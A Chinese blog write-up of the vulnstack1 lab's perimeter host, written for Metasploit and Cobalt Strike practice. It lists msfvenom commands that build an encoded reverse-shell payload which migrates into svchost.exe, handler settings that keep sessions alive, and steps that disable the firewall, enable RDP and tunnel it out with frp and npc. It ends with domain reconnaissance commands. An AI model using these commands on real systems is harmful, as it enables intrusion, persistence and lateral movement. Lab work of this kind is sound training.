vulnstack1靶机实战(-)外层主机渗透

 

、本文章主要那边界机器作为msf和cs学习练习用

参考链接

https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&mid=2247484720&idx=1&sn=2772684974b506ee81f7e8def15a37ed&scene=21#wechat_redirect

拿到边界机器的webshell之后,上传Temp目录或者寻找网站upload文件夹尝试上传。

msfvenom所有参数

-p, –payload < payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

-l, –list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all

-n, –nopsled < length> 为payload预先指定一个NOP滑动长度

-f, –format < format> 指定输出格式 (使用 –help-formats 来获取msf支持的输出格式列表)

-e, –encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload

-a, –arch < architecture> 指定payload的目标架构,例如x86 | x64 | x86_64

–platform < platform> 指定payload的目标平台

-s, –space < length> 设定有效攻击荷载的最大长度,就是文件大小

-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f''\x00';

-i, –iterations < count> 指定payload的编码次数

-c, –add-code < path> 指定一个附加的win32 shellcode文件

-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中

-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行

–payload-options 列举payload的标准选项

-o, –out < path> 指定创建好的payload的存放位置

-v, –var-name < name> 指定一个自定义的变量,以确定输出格式

–shellest 最小化生成payload

-h, –help 查看帮助选项

–help-formats 查看msf支持的输出格式列表

防止假session

在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务

快捷的建立监听方式,在msf下面执行

msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

会直接在jobs里面生成监听队列

 

payload的可持续化

一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化后门

 

 在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序执行后会启动两个进程shell.exesvchost.exe,关闭其中一个不会影响会话状态。

(1)PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。

(2)使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。

将生成的shell.exe传入Temp目录,然后在webshell管理工具里面执行。

攻击机监听

use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z

查看是否开启远程桌面服务

netstat -an | findstr "3389"

在webshell里面开启远程桌面命令

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

直接连接远程远程桌面,连接不上去,目标机器开启了防火墙

在msf里面使用命令关闭防火墙

netsh advfirewall set allprofiles state off

 

 

直接连接靶机

 

第二种思路,使用frp反弹3389端口到公网。

目标靶机上传frpc,frpc.ini配置文件如下配置

[common]
server_addr = ip
server_port = 7000

[mysql] 
type = tcp
local_ip = 127.0.0.1
local_port = 3389
remote_port = 33891

公网监听frps,等待端口反弹

第三种思路,使用npc,上线nps

 

 webshell上传npc

 

webshell执行命令上线

npc.exe -server=192.168.2.113:8024 -vkey=123321 -type=tcp

 

目标靶机成功上线

 

此时就可以通过建立socket连接通道结合proxychains或者proxifier做全局代理实现内网横向渗透。

下面就是杀入域控,先做一些基础的信息搜集,渗透测试的本质就是信息搜集

ipconfig /all    查询本机IP段,所在域等
net config Workstation    当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user    本机用户列表
net localgroup administrators    本机管理员[通常含有域用户]
net user /domain    查询域用户
net user 用户名 /domain    获取指定用户的账户信息
net user /domain b404 pass    修改域内用户密码,需要管理员权限
net group /domain    查询域里面的工作组
net group 组名 /domain    查询域中的某工作组
net group "domain admins" /domain    查询域管理员列表
net group "domain controllers" /domain    查看域控制器(如果有多台)
net time /domain    判断主域,主域服务器都做时间服务器
ipconfig /all    查询本机IP段,所在域等

 

直接ping域服务器

 

 可以得到域控的IP

192.168.52.138

net group /domain 查询域里面的工作组

Domain Admins :域管理员
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guests:域访客
Domain Users:域用户
Enterprise Admins:企业系统管理员 

另外一些常用的查询命令

whoami
systeminfo
nslookup god.org    # 解析域名IP地址
net config workstation  #查询当前登陆域及登陆用户信息
net view /domain   #查看域
net time /domain  # 获取域服务器的时间

查询操作系统信息

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  # 英文操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"   # 中文操作系统
echo %PROCESSOR_ARCHITECTURE%    # 查看系统系统结构

查看安装的软件以及版本、路径信息

wmic product get name,version   # 使用wmic操作
powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,Version"   #使用powershell进行操作

另外一些查询命令

wmic service list brief   # 查询本机服务信息
tasklist                   #查询进程
wmic process list brief   #使用wmic查询进程
wmic  startup get command,caption   #查看启动进程
schtasks /query /fo list /v      # 查看计划任务
net statistics workstation     # 查看主机开机时间
netstat -ano    #查询端口列表
wmic qfe get caption,description,hotfixid,installedon   #查询本机安装的补丁

查询机器内账号信息

net user    #查看本机用户列表
net localgroup administrators  # 获取本地管理员
query user || qwinsta   # 获取在线用户
net session    # 列出计算机所连接的客户端之间的会话
net share   # 查看本机共享列表
wmic share get name,path,status #使用wmic 查询本机共享列表

关闭防火墙

netsh firewall set opmode disable   # windows server 2003 之前
netsh advfirewall set allprofiles state off  # windows server 2003 之后

开启3389

注册表打开:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f   #开启的话把0改为1
wmic开启3389:
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

探测域内存活主机

Ping命令探测内网主机
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
使用Ladon插件在CobaltStrike上查询存活主机
Ladon 192.168.52.0/24 OnlinePC

查找域控

nltest /domain_trusts #获取域信任信息
nltest /DCLIST:god #查看域控制器机器名
net group "domain admins" /domain #查询域管理员用户
net group "Enterprise admins" /domain # 查询管理员用户在

 

 

 

 

 

PS msfshell执行命令中文乱码

解决方案:将终端窗口的编码方式改为GBK编码

 

posted @ 2020-05-13 20:31  R1card  阅读(1115)  评论(0编辑  收藏  举报